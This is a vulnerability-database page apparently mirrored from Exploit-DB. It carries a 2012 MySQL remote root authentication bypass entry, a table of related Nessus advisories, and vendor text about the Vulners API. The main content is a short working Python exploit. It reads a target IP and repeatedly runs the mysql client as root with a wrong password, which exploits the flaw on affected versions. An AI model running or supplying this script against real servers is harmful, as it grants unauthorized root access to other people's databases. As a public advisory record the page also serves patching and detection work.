MySQL - Authentication Bypass
🗓️ 12 Jun 2012 00:00:00Reported by David Kennedy (ReL1K)Type 
exploitdb🔗 www.exploit-db.com👁 846 Views
| Reporter | Title | Published | Views | Family All 98 |
|---|---|---|---|---|
 | Oracle MySQL Server 5.5 < 5.5.24 Multiple Unspecified Vulnerabilities | 13 Jul 201200:00 | – | nessus |
| Oracle MySQL Server 5.1 < 5.1.63 Multiple Vulnerabilities | 13 Jul 201200:00 | – | nessus |
| MySQL Server 5.1 < 5.1.63 Multiple Vulnerabilities | 13 Jul 201200:00 | – | nessus |
| MySQL Server 5.5 < 5.5.24 Multiple Unspecified Vulnerabilities | 13 Jul 201200:00 | – | nessus |
| Amazon Linux AMI : mysql55 (ALAS-2012-93) | 4 Sep 201300:00 | – | nessus |
| CentOS 5 : mysql (CESA-2013:0180) | 24 Jan 201300:00 | – | nessus |
| Debian DSA-2496-1 : mysql-5.1 - several vulnerabilities | 29 Jun 201200:00 | – | nessus |
| Fedora 17 : mysql-5.5.24-1.fc17 (2012-9308) | 18 Jun 201200:00 | – | nessus |
| Fedora 16 : mysql-5.5.24-1.fc16 (2012-9324) | 27 Jun 201200:00 | – | nessus |
| GLSA-201308-06 : MySQL: Multiple vulnerabilities | 30 Aug 201300:00 | – | nessus |
10
#!/usr/bin/python
#
#
# This has to be the easiest "exploit" ever. Seriously. Embarassed to submit this a little.
#
# Title: MySQL Remote Root Authentication Bypass
# Written by: Dave Kennedy (ReL1K)
# http://www.secmaniac.com
#
# Original advisory here: seclists.org/oss-sec/2012/q2/493
import subprocess
ipaddr = raw_input("Enter the IP address of the mysql server: ")
while 1:
subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Dec 2016 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 25.1
EPSS0.96188